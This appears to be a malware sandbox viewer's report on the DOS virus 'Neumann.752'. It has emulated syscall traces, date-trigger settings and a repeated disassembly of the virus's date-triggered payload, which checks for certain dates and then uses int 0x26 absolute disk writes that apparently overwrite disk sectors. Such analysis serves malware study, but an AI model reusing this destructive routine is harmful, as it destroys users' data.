Sample viewer

vx.netlux.org/Virus.DOS.Neumann.752

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:58:17.80089944Z 42 PC: 1321e | Get date 0x1321e: cmp dx, 0x505
0x13222: je 0x1322a
0x13224: cmp dx, 0x1111
0x13228: jne 0x13264
0x1322a: mov cx, 0xffff
0x1322d: mov al, 2
0x1322f: mov dx, 1
0x13232: mov bx, 0x80
0x13235: mov word ptr [bx], 1
0x13239: mov word ptr [bx + 2], 0
0x1323e: mov word ptr [bx + 4], 0x500
0x13243: int 0x26
0x13245: popf
0x13246: mov cx, 0xff
0x13249: mov al, 2
0x1324b: mov dx, 1
0x1324e: mov bx, 0x80
0x13251: int 0x26
0x13253: popf
0x13254: mov al, 0
2018-12-17T22:58:17.803309595Z 74 PC: 1329c | Reallocate memory
2018-12-17T22:58:17.804866012Z 72 PC: 132a3 | Allocate memory
2018-12-17T22:58:17.806702121Z 53 PC: 9f92a | Get interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-17T22:58:17.808073978Z 37 PC: 9f93e | Set interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-17T22:58:17.815610367Z 76 PC: 12a45 | Terminate with return code (Return code = '0')

{"DateBased":true,"Day":5,"Month":5,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":12830,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:36:37.906301808Z 42 PC: 1321e | Get date 0x1321e: cmp dx, 0x505
0x13222: je 0x1322a
0x13224: cmp dx, 0x1111
0x13228: jne 0x13264
0x1322a: mov cx, 0xffff
0x1322d: mov al, 2
0x1322f: mov dx, 1
0x13232: mov bx, 0x80
0x13235: mov word ptr [bx], 1
0x13239: mov word ptr [bx + 2], 0
0x1323e: mov word ptr [bx + 4], 0x500
0x13243: int 0x26
0x13245: popf
0x13246: mov cx, 0xff
0x13249: mov al, 2
0x1324b: mov dx, 1
0x1324e: mov bx, 0x80
0x13251: int 0x26
0x13253: popf
0x13254: mov al, 0

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":12830,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:36:38.02175592Z 42 PC: 1321e | Get date 0x1321e: cmp dx, 0x505
0x13222: je 0x1322a
0x13224: cmp dx, 0x1111
0x13228: jne 0x13264
0x1322a: mov cx, 0xffff
0x1322d: mov al, 2
0x1322f: mov dx, 1
0x13232: mov bx, 0x80
0x13235: mov word ptr [bx], 1
0x13239: mov word ptr [bx + 2], 0
0x1323e: mov word ptr [bx + 4], 0x500
0x13243: int 0x26
0x13245: popf
0x13246: mov cx, 0xff
0x13249: mov al, 2
0x1324b: mov dx, 1
0x1324e: mov bx, 0x80
0x13251: int 0x26
0x13253: popf
0x13254: mov al, 0
2018-12-25T12:36:38.025431412Z 74 PC: 1329c | Reallocate memory
2018-12-25T12:36:38.027477904Z 72 PC: 132a3 | Allocate memory
2018-12-25T12:36:38.029695744Z 53 PC: 9f92a | Get interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-25T12:36:38.031738543Z 37 PC: 9f93e | Set interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-25T12:36:38.033943605Z 76 PC: 12a45 | Terminate with return code (Return code = '0')